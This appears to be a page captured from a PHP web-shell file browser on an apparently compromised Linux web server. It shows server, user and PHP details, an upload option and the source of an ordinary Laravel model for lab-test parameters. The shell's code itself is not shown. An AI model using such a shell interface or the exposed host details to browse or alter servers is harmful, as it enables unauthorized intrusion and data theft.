HEX
Server: nginx/1.24.0
System: Linux DGT-WORDPRESS-VM-SERVER 6.14.0-1014-azure #14~24.04.1-Ubuntu SMP Fri Oct 3 20:52:11 UTC 2025 x86_64
User: ubuntu (1000)
PHP: 8.4.12
Disabled: NONE
Upload Files
File: /mnt/data/ghayatcom/ghayatcom-api/app/LabParameter.php
<?php

namespace App;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
use Storage;
use Config;

class LabParameter extends Model
{
    use HasFactory, SoftDeletes;

    protected $fillable = ['lab_id', 'category_id', 'name', 'short_desc', 'description','mrp', 'price', 'description', 'fasting_time', 'fast_time', 'test_recommended_for', 'test_recommended_for_age', 'report_time', 'sample_collection', 'sample_collection_fee','status'];

    public function lab()
    {
        return $this->belongsTo(Lab::class);
    }

    public function packages()
    {
        return $this->belongsToMany(LabPackage::class, 'lab_test_details', 'parameter_id', 'package_id');
    }

    public function category()
    {
        return $this->belongsTo(LabCategory::class, 'category_id');
    }
}